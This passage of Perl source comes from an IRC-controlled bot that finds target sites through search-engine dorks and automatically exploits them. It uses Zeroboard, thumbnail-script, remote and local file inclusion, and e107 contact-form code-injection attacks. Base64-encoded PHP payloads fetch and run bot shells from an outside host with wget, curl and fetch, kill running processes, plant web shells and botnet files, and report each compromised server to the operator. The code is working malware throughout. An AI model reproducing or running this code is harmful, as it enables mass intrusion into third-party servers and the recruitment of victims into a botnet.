- &type($chan,$bug,$dork,"GoO",$type);
- } exit; }
- }
- if ($engine =~ /uksubmit/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"UkSuBmIt",$type);
- } exit; }
- }
- if ($engine =~ /excite/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ExCiTe",$type);
- } exit; }
- }
- if ($engine =~ /mamma/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"MaMMa",$type);
- } exit; }
- }
- }
- ######################################### ADDED
- sub zboard() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$zerologo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$zerologo(4@3$engine15)10 Scan finish"); }
- my $coba = "http://".$site.$bug."?id=byroe";
- my $cek = &get_content($coba);
- if ($cek =~ /Zeroboard/) {
- my $cok = system("./zero $coba 80");sleep(2);
- my $check2 = &get_content("http://".$site."/data/shell.php");
- if ($check2 =~ /Cannot execute a blank command/) {
- my $os = "";
- my $safe = "";
- my $uid = "";
- my $vuln = &get_content("http://".$site.$action);
- my $vuln1 = "http://".$site."/data/stun.php";
- my $yuhu = &get_content($vuln2);sleep(1);
- my $check = &get_content($vuln1);
- if ($check =~ /Rei Area/i) {
- if ($check =~ m/color=red><b> (.*?)<br>/) {$os = $1;}
- if ($check =~ m/safe_mode: <b><font color=(.*?)>(.*?)<\/font><\/b>/) {$safe = $2;}
- if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln1." 3 (OS=$os) (Safe Mode =$safe) ");
- &msg("$admin","$zerologo(4@3$engine15)15(4@3Vuln klo ga salah15)13 ".$vuln1." 3 (OS=$os) (Safe Mode =$safe) ");
- }
- }
- }
- }
- }
- }
- #########################################
- sub thumb() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$thumblogo(4@3$engine15)10 Scan finish"); }
- my $vuln = "http://".$site.$bug."?src=".$thumbshell;
- my $cek = &get_content($vuln);sleep(1);
- if ($cek =~ /Unable to open image/i) {
- &msg("$chan","$thumblogo(4@3$engine15)8 e3x7p5l6o2i11t4i0n12g13 $site");sleep(1);
- (my $bery = $bug)=~ s{/[^/]+\z}{};
- my $vuln2 = "http://".$site.$bery.$folder1;
- my $vuln3 = "http://".$site.$bery.$folder2;
- my $vuln4 = "http://".$site.$bery.$folder3;
- my $vuln5 = "http://".$site.$bery.$folder4;
- my $vuln6 = "http://".$site.$folder5;
- my $vuln7 = "http://".$site.$bery.$folderx1;
- my $vuln8 = "http://".$site.$bery.$folderx2;
- my $vuln9 = "http://".$site.$bery.$folderx3;
- my $vuln10 = "http://".$site.$bery.$folderx4;
- my $vuln11 = "http://".$site.$folderx5;
- my $os = "";
- my $safe = "";
- my $uid = "";
- my $check1 = &get_content($vuln2);sleep(1);&get_content($vuln7);sleep(1);
- my $check2 = &get_content($vuln3);sleep(1);&get_content($vuln8);sleep(1);
- my $check3 = &get_content($vuln4);sleep(1);&get_content($vuln9);sleep(1);
- my $check4 = &get_content($vuln5);sleep(1);&get_content($vuln10);sleep(1);
- my $check5 = &get_content($vuln6);sleep(1);&get_content($vuln11);sleep(1);
- if ($check1 =~ /uname -a/i) {
- if ($check1 =~ m/color=#cccccc><b> (.*?)<br>/) {$os = $1;}
- if ($check1 =~ m/safe_mode: <b><font color=(.*?)>(.*?)<\/font><\/b>/) {$safe = $2;}
- if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$thumblogo(4@3$engine15)15(4@3shell15)13 ".$vuln2." 3 (OS=$os) (Safe Mode = $safe) ");
- &msg("$admin","$thumblogo(4@3$engine15)15(4@3shell15)13 ".$vuln2." 3 (OS=$os) (Safe Mode =$safe) ");
- }
- if ($check2 =~ /uname -a/i) {
- if ($check2 =~ m/color=red><b> (.*?)<br>/) {$os = $1;}
- if ($check2 =~ m/safe_mode: <b><font color=(.*?)>(.*?)<\/font><\/b>/) {$safe = $2;}
- if ($check2 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$thumblogo(4@3$engine15)15(4@3shell15)13 ".$vuln3." 3 (OS=$os) (Safe Mode =$safe) ");
- &msg("$admin","$thumblogo(4@3$engine15)15(4@3shell15)13 ".$vuln3." 3 (OS=$os) (Safe Mode =$safe) ");
- }
- if ($check3 =~ /uname -a/i) {
- if ($check3 =~ m/color=red><b> (.*?)<br>/) {$os = $1;}
- if ($check3 =~ m/safe_mode: <b><font color=(.*?)>(.*?)<\/font><\/b>/) {$safe = $2;}
- if ($check3 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$thumblogo(4@3$engine15)15(4@3shell15)13 ".$vuln4." 3 (OS=$os) (Safe Mode =$safe) ");
- &msg("$admin","$thumblogo(4@3$engine15)15(4@3shell15)13 ".$vuln4." 3 (OS=$os) (Safe Mode =$safe) ");
- }
- if ($check4 =~ /uname -a/i) {
- if ($check4 =~ m/color=red><b> (.*?)<br>/) {$os = $1;}
- if ($check4 =~ m/safe_mode: <b><font color=(.*?)>(.*?)<\/font><\/b>/) {$safe = $2;}
- if ($check4 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$thumblogo(4@3$engine15)15(4@3shell15)13 ".$vuln5." 3 (OS=$os) (Safe Mode =$safe) ");
- &msg("$admin","$thumblogo(4@3$engine15)15(4@3shell15)13 ".$vuln5." 3 (OS=$os) (Safe Mode =$safe) ");
- }
- if ($check5 =~ /uname -a/i) {
- if ($check5 =~ m/color=red><b> (.*?)<br>/) {$os = $1;}
- if ($check5 =~ m/safe_mode: <b><font color=(.*?)>(.*?)<\/font><\/b>/) {$safe = $2;}
- if ($check5 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$thumblogo(4@3$engine15)15(4@3shell15)13 ".$vuln6." 3 (OS=$os) (Safe Mode =$safe) ");
- &msg("$admin","$thumblogo(4@3$engine15)15(4@3shell15)13 ".$vuln6." 3 (OS=$os) (Safe Mode =$safe) ");
- }
- }
- }
- }
- }
- sub rfi() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$rfilogo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$rfilogo(4@12$engine11,1)10 Scan finish"); }
- my $coba = "http://".$site.$bug."test??";
- my $test = "http://".$site.$bug.$injector."??";
- my $dor = "http://".$site.$bug.$botshell."??";
- my $dor2 = "http://".$site.$bug.$botshell2."??";
- my $dor3 = "http://".$site.$bug.$botshell3."??";
- my $cek = &get_content($coba);sleep(1);
- &get_content($dor);sleep(1);
- &get_content($dor2);sleep(1);
- &get_content($dor3);sleep(1);
- if ($cek =~ /failed to open stream/i) {
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- &rfi_xpl($test,$chan,$site);
- exit;}
- }
- }
- }
- }
- }
- sub rfi_xpl() {
- my $url = $_[0];
- my $chan = $_[1];
- my $site = $_[2];
- my $dor = $url.$botshell."??";
- my $dor2 = $url.$botshell2."??";
- my $dor3 = $url.$botshell3."??";
- my $test = $url.$injector."??";
- my $vuln = $url."14(botnetCrew)";
- my $check = &get_content($test);sleep(1);
- &get_content($dor);sleep(1);
- &get_content($dor2);sleep(1);
- &get_content($dor3);sleep(1);
- if ($check =~ /Rei Area/i ) {
- for my $t (@{$test}) {
- push @{ $found }, $t;
- }
- my $safe ="";
- my $os ="";
- if ($check =~ m/safe_mode: <b><font color=(.*?)>(.*?)<\/font><\/b>/) {$safe = $2;}
- if ($check =~ m/color=#cccccc><b> (.*?)<br>/) {$os = $1;}
- &msg("$chan","$rfilogo(4@9Shell11,1)13 ".$test." 9(4@11,1SafeMode= $safe9)(4@11,1OS= $os9)");
- &msg("$admin","$rfilogo(4@9Shell11,1)13 ".$test." 9(4@11,1SafeMode= $safe9)(4@11,1OS= $os9)");
- }
- else {&msg("$chan","$rfilogo(4@9VuLn11,1)10 ".$vuln." (4@7UnVulnurlable11,1)");}
- }
- sub lfi() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$lfilogo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$lfilogo(4@12$engine11,1)10 Scan finish"); }
- my $dir = "../../../../../../../../../../../../../";
- my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000";
- my $vuln = "http://".$site.$bug.$dir."/proc/self/environ%0000";
- my $shell = "http://".$site.$bug.$dir."/tmp/nxs%0000";
- my $html = &get_content($test);
- if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) {
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my $code = 'echo "c0li#".php_uname()."#c0li".get_current_user();if(@copy("'.$injector.'","/tmp/nxs")) { echo "SUCCESS";@copy("'. $botshell.'","/tmp/bb");@copy("'.$botshell2.'","/tmp/asx"); }';
- my $res = lfi_env_query($test,encode_base64($code));
- &lfi_spread_query($test);
- &get_content("http://".$site.$bug.$dir."/tmp/bb%0000");
- &get_content("http://".$site.$bug.$dir."/tmp/asx%0000");
- $res =~ s/\n//g;
- if ($res =~ /c0li#(.*)#c0li(.*)SUCCESS/sg) {
- for my $t (@{$res}) {
- push @{ $found }, $t;
- }
- my $sys = $1;
- $nob0dy = $2;
- &msg("$chan","$lfilogo(4@12$engine11,1)11,1(4@9SHeLL11,1)13 ".$shell." 11,1(4@9".$sys."11,1))11,1(4@9$nob0dy11,1)");sleep(2);
- }
- elsif ($res =~ /c0li#(.*)#c0li(.*)/sg) {
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my $sys = $1;
- $nob0dy = $2;
- my $upload = 'system("killall -9 perl;killall -9 php;wget '.$injector.' -O ipays.php;fetch '.$injector.';mv ipays.jpg ipays.php;wget '. $botshell.' -O byroe.php;fetch '.$botshell.';mv byroe.jpg byroe.php;wget '.$botshell2.' -O allnet.php;fetch '.$botshell2.';mv allnet.jpg allnet.php;");passthru ("killall -9 perl;killall -9 php;wget '.$injector.' -O ipays.php;fetch '.$injector.';mv ipays.jpg ipays.php;wget '.$botshell.' -O byroe.php;fetch '.$botshell.';mv byroe.jpg byroe.php;wget '.$botshell2.' -O allnet.php;fetch '.$botshell2.';mv allnet.jpg allnet.php;");';
- my $wget = lfi_env_query($test,encode_base64($upload)); sleep(2);
- my $check = &get_content("http://".$site.$bug.$dir."/tmp/ipays%0000"); sleep(2);
- &get_content("http://".$site.$bug.$dir."/tmp/byroe%0000");sleep(2);
- &get_content("http://".$site.$bug.$dir."/tmp/allnet%0000");sleep(2);
- if ($check =~ /nxs 2009/i ) {
- for my $t (@{$shell}) {
- push @{ $found }, $t;
- }
- &msg("$chan","$lfilogo(4@12$engine11,1)11,1(4@9SHeLL11,1)13 ".$shell." 11,1(4@3".$sys."11,1)11,1(4@9$nob0dy11,1)");sleep(2);
- &msg("$admin","$lfilogo(4@12$engine11,1)11,1(4@9SHeLL11,1)13 ".$shell." 11,1(4@3".$sys."11,1)11,1(4@9$nob0dy11,1)");sleep(2);
- }
- else {
- &msg("$chan","$lfilogo(4@12$engine11,1)11,1(4@9SysTem11,1)7 ".$vuln." 11,1(4@3".$sys."11,1))11,1(4@9$nob0dy11,1)");sleep(2);
- }
- } exit; }
- }
- else { &msg("$chan","$lfilogo(4@12$engine11,1)11,1(4@9EnviRon11,1)10 ".$vuln); }
- } exit; } sleep(2);
- }
- }
- }
- }
- sub lfi_env_query() {
- my $url = $_[0];
- my $code = $_[1];
- my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".$code."'));?>");
- $ua->timeout(7);
- my $req = HTTP::Request->new(GET => $url);
- my $res = $ua->request($req);
- return $res->content;
- }
- sub lfi_spread_query() {
- my $url = $_[0];
- my $code = "system('cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ". $botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;cd /var/tmp;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;rm -rf *.jp*;');";
- my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".encode_base64($code)."'));?>");
- $ua->timeout(7);
- my $req = HTTP::Request->new(GET => $url);
- my $res = $ua->request($req);
- }
- sub e107() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$e107logo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$e107logo(4@12$engine11,1)10 Scan finish"); }
- my $test = "http://".$site.$bug;
- my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdG lvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplb HNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVt KCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk 7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZi kpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ==";
- my $html = &e107_rce_query($test,$code);
- if ($html =~ /v0pCr3w<br>sys:(.+?)<br>nob0dyCr3w/) {
- &e107xpl1($chan,$site,$engine);
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my $sys = $1;
- my $upload = 'if(@copy("'.$injector.'","system.php")) { echo "c0liSUKSESc0li";@copy("'.$botshell.'","bb.php");@copy("'.$botshell2.'","asx.php");} elseif(@copy("'.$injector.'","e107_themes/system.php")) { echo "nxs_dthem";@copy("'.$botshell.'","e107_themes/bb.php");@copy("'.$botshell2.'","e107_themes/asx.php");} elseif(@copy("'.$injector.'","e107_plugins/system.php")) { echo "nxs_dplug";@copy("'.$botshell.'","e107_plugins/bb.php");@copy("'. $botshell2.'","e107_plugins/asx.php");} elseif(@copy("'.$injector.'","e107_images/system.php")) { echo "nxs_dima";@copy("'.$botshell.'","e107_images/bb.php");@copy ("'.$botshell2.'","e107_images/asx.php");}';
- my $res = &e107_rce_query($test,encode_base64($upload));
- if ($res =~ /c0liSUKSESc0li/) {
- my $shell = "http://".$site."4system.php";
- for my $t (@{$shell}) {
- push @{ $found }, $t;
- }
- &get_content("http://".$site."bb.php");
- &get_content("http://".$site."asx.php");
- &get_content("http://".$site."logs.php");
- &get_content("http://".$site."botnet.php");
- &msg("$chan","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."4logs.php 11,1(4@3".$sys."11,1)(4@9safemode- off11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."4system.php 11,1(4@3".$sys."11,1)(4@9safemode- off11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9BotNEt11,1)13 http://".$site."4botnet.php");sleep(2);
- }
- elsif ($res =~ /nxs_dthem/) {
- my $shell = "http://".$site."e107_themes/4system.php";
- for my $t (@{$shell}) {
- push @{ $found }, $t;
- }
- &get_content("http://".$site."e107_themes/bb.php");
- &get_content("http://".$site."e107_themes/asx.php");
- &get_content("http://".$site."e107_themes/logs.php");
- &get_content("http://".$site."e107_themes/botnet.php");
- &msg("$chan","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."e107_themes/4logs.php 11,1(4@3".$sys."11,1)(4@9safemode- off11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."e107_themes/4system.php 11,1(4@3".$sys."11,1) (4@9safemode-off11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9BotNEt11,1)13 http://".$site."4botnet.php");sleep(2);
- }
- elsif ($res =~ /nxs_dplug/) {
- my $shell = "http://".$site."e107_plugins/4system.php";
- for my $t (@{$shell}) {
- push @{ $found }, $t;
- }
- &get_content("http://".$site."e107_plugins/bb.php");
- &get_content("http://".$site."e107_plugins/asx.php");
- &get_content("http://".$site."e107_plugins/logs.php");
- &get_content("http://".$site."e107_plugins/botnet.php");
- &msg("$chan","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."e107_plugins/4logs.php 11,1(4@3".$sys."11,1) (4@9safemode-off11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."e107_plugins/4system.php 11,1(4@3".$sys."11,1) (4@9safemode-off11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9BotNEt11,1)13 http://".$site."4botnet.php");sleep(2);
- }
- elsif ($res =~ /nxs_dima/) {
- my $shell = "http://".$site."e107_images/4system.php";
- for my $t (@{$shell}) {
- push @{ $found }, $t;
- }
- &get_content("http://".$site."e107_images/bb.php");
- &get_content("http://".$site."e107_images/asx.php");
- &get_content("http://".$site."e107_images/logs.php");
- &get_content("http://".$site."e107_images/botnet.php");
- &msg("$chan","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."e107_images/4logs.php 11,1(4@3".$sys."11,1)(4@9safemode- off11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."e107_images/4system.php 11,1(4@3".$sys."11,1) (4@9safemode-off11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9BotNEt11,1)13 http://".$site."4botnet.php");sleep(2);
- }
- else {
- &msg("$chan","$e107logo(4@12$engine11,1)11,1(4@9Vuln11,1)7 ".$test." 11,1(4@3".$sys."11,1)(4@9safemode-off11,1)");sleep(2);
- }
- &e107_spread_query($test);
- sleep(2);
- } exit; } sleep(2);
- }
- elsif ($html =~ /v0pCr3w<br>sys:(.+?)<br>/) {
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my $sys = $1;
- my $upload = 'if(@copy("'.$injector.'","system.php")) { echo "c0liSUKSESc0li";@copy("'.$botshell.'","bb.php");@copy("'. $botshell2.'","asx.php");@copy("'.$botshell3.'","logs.php");@copy("'.$cocok.'","botnet.php");} elseif(@copy("'.$injector.'","e107_themes/system.php")) { echo "nxs_dthem";@copy("'.$botshell.'","e107_themes/bb.php");@copy("'.$botshell2.'","e107_themes/asx.php");@copy("'.$botshell3.'","e107_themes/logs.php");@copy("'. $cocok.'","e107_themes/botnet.php");} elseif(@copy("'.$injector.'","e107_plugins/system.php")) { echo "nxs_dplug";@copy("'.$botshell.'","e107_plugins/bb.php");@copy ("'.$botshell2.'","e107_plugins/asx.php");@copy("'.$botshell3.'","e107_plugins/logs.php");@copy("'.$cocok.'","e107_plugins/botnet.php");} elseif(@copy("'. $injector.'","e107_images/system.php")) { echo "nxs_dima";@copy("'.$botshell.'","e107_images/bb.php");@copy("'.$botshell2.'","e107_images/asx.php");@copy("'. $botshell3.'","e107_images/logs.php");@copy("'.$cocok.'","e107_images/botnet.php");}';
- my $res = &e107_rce_query($test,encode_base64($upload));
- if ($res =~ /c0liSUKSESc0li/) {
- my $shell = "http://".$site."4system.php";
- for my $t (@{$shell}) {
- push @{ $found }, $t;
- }
- &e107xpl1($chan,$site,$engine);
- &get_content("http://".$site."bb.php");
- &get_content("http://".$site."asx.php");
- &get_content("http://".$site."logs.php");
- &get_content("http://".$site."botnet.php");
- &msg("$chan","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."4logs.php 11,1(4@3".$sys."11,1)(4@7safemode- on11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."4system.php 11,1(4@3". $sys."11,1)(4@7safemode-on11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9BotNEt11,1)13 http://".$site."4botnet.php");sleep(2);
- }
- if ($res =~ /nxs_dthem/) {
- my $shell = "http://".$site."e107_themes/4system.php";
- for my $t (@{$shell}) {
- push @{ $found }, $t;
- }
- &get_content("http://".$site."e107_themes/bb.php");
- &get_content("http://".$site."e107_themes/asx.php");
- &get_content("http://".$site."e107_themes/logs.php");
- &get_content("http://".$site."e107_images/botnet.php");
- &msg("$chan","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."e107_themes/4logs.php 11,1(4@3".$sys."11,1)(4@7safemode- on11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."e107_themes/4system.php 11,1 (4@3".$sys."11,1)(4@7safemode-on11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9BotNEt11,1)13 http://".$site."4botnet.php");sleep(2);
- }
- if ($res =~ /nxs_dplug/) {
- my $shell = "http://".$site."e107_plugins/4system.php";
- for my $t (@{$shell}) {
- push @{ $found }, $t;
- }
- &get_content("http://".$site."e107_plugins/bb.php");
- &get_content("http://".$site."e107_plugins/asx.php");
- &get_content("http://".$site."e107_plugins/logs.php");
- &get_content("http://".$site."e107_images/botnet.php");
- &msg("$chan","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."e107_plugins/4logs.php 11,1(4@3".$sys."11,1) (4@7safemode-on11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."e107_plugins/4system.php 11,1(4@3".$sys."11,1) (4@7safemode-on11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9BotNEt11,1)13 http://".$site."4botnet.php");sleep(2);
- }
- if ($res =~ /nxs_dima/) {
- my $shell = "http://".$site."e107_images/4system.php";
- for my $t (@{$shell}) {
- push @{ $found }, $t;
- }
- &get_content("http://".$site."e107_images/bb.php");
- &get_content("http://".$site."e107_images/asx.php");
- &get_content("http://".$site."e107_images/logs.php");
- &get_content("http://".$site."e107_images/botnet.php");
- &msg("$chan","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."e107_images/4logs.php 11,1(4@3".$sys."11,1)(4@7safemode- on11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9SheLL11,1)13 http://".$site."e107_images/4system.php 11,1 (4@3".$sys."11,1)(4@7safemode-on11,1)");sleep(2);
- &msg("$admin","$e107logo(4@12$engine11,1)11,1(4@9BotNEt11,1)13 http://".$site."4botnet.php");sleep(2);
- }
- else {
- &msg("$chan","$e107logo(4@12$engine11,1)11,1(4@9Vuln11,1)10 ".$test." 11,1(4@3".$sys."11,1)(4@7safemode-on11,1)");sleep(2);
- }
- } exit; } sleep(2);
- }
- }
- }
- }
- sub e107_rce_query() {
- my $url = $_[0];
- my $code = $_[1];
- my $req = HTTP::Request->new(POST => $url);
- $req->content_type('application/x-www-form-urlencoded');
- $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
- my $ua = LWP::UserAgent->new(agent => $uagent);
- $ua->timeout(7);
- my $res = $ua->request($req);
- return $res->content;
- }
- sub e107_spread_query() {
- my $url = $_[0];
- my $code = "ZWNobyAidjBwQ3Izdzxicj4iOwplY2hvICJzeXM6Ii5waHBfdW5hbWUoKS4iPGJyPiI7CiRjbWQ9ImVjaG8gbm9iMGR5Q3IzdztjZCAvdG1wO3JtIC1yZiBkb3IuKiAqLmpwZy4qO2ZldGNoIGh0dHA6Ly9ueHMubmFiLn N1L2NvcmUuanBnO3BocCBjb3JlLmpwZztybSAtcmYgY29yZS5qcGc7d2dldCBodHRwOi8vbnhzLm5hYi5zdS9jb3JlLmpwZztwaHAgY29yZS5qcGc7cm0gLXJmIGNvcmUuanBnO2N1cmwgLU8gaHR0cDovL254cy5uYWIuc 3UvY29yZS5qcGc7cGhwIGNvcmUuanBnO3JtIC1yZiBjb3JlLmpwZztsd3AtZG93bmxvYWQgaHR0cDovL254cy5uYWIuc3UvY29yZS5qcGc7cGhwIGNvcmUuanBnO2NkIC92YXIvdG1wO3JtIC1yZiBkb3IuKiAqLmpwZy4q O2ZldGNoIGh0dHA6Ly9ueHMubmFiLnN1L2NvcmUuanBnO3BocCBjb3JlLmpwZztybSAtcmYgY29yZS5qcGc7d2dldCBodHRwOi8vbnhzLm5hYi5zdS9jb3JlLmpwZztwaHAgY29yZS5qcGc7cm0gLXJmIGNvcmUuanBnO2N 1cmwgLU8gaHR0cDovL254cy5uYWIuc3UvY29yZS5qcGc7cGhwIGNvcmUuanBnO3JtIC1yZiBjb3JlLmpwZztsd3AtZG93bmxvYWQgaHR0cDovL254cy5uYWIuc3UvY29yZS5qcGc7cGhwIGNvcmUuanBnOyI7CiRlc2VndW ljbWQ9ZXgoJGNtZCk7ZWNobyAkZXNlZ3VpY21kOwpmdW5jdGlvbiBleCgkY2ZlKXsKJHJlcyA9ICcnOwppZiAoIWVtcHR5KCRjZmUpKXsKaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpewpAZXhlYygkY2ZlLCRyZXMpO wokcmVzID0gam9pbigiXG4iLCRyZXMpOwp9CmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7CiRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsKfQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0n KSl7CkBvYl9zdGFydCgpOwpAc3lzdGVtKCRjZmUpOwokcmVzID0gQG9iX2dldF9jb250ZW50cygpOwpAb2JfZW5kX2NsZWFuKCk7Cn0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7CkBvYl9zdGFydCg pOwpAcGFzc3RocnUoJGNmZSk7CiRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CkBvYl9lbmRfY2xlYW4oKTsKfQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKXsKJGYgPSBAcG9wZW4oJGNmZSwiciIpOwp3aG lsZSghQGZlb2YoJGNmZSkpIHsgJHJlcyAuPSBAZnJlYWQoJGNmZSwxMDI0KTsgfQpAcGNsb3NlKCRmKTsKfX0KcmV0dXJuICRyZXM7Cn0==";
- my $req = HTTP::Request->new(POST => $url);
- $req->content_type('application/x-www-form-urlencoded');
- $req->content("send-contactus=1&author_name=%5Bphp%5Deval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
- my $ua = LWP::UserAgent->new(agent => $uagent);
- $ua->timeout(7);
- my $res = $ua->request($req);
- }
- sub xml() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
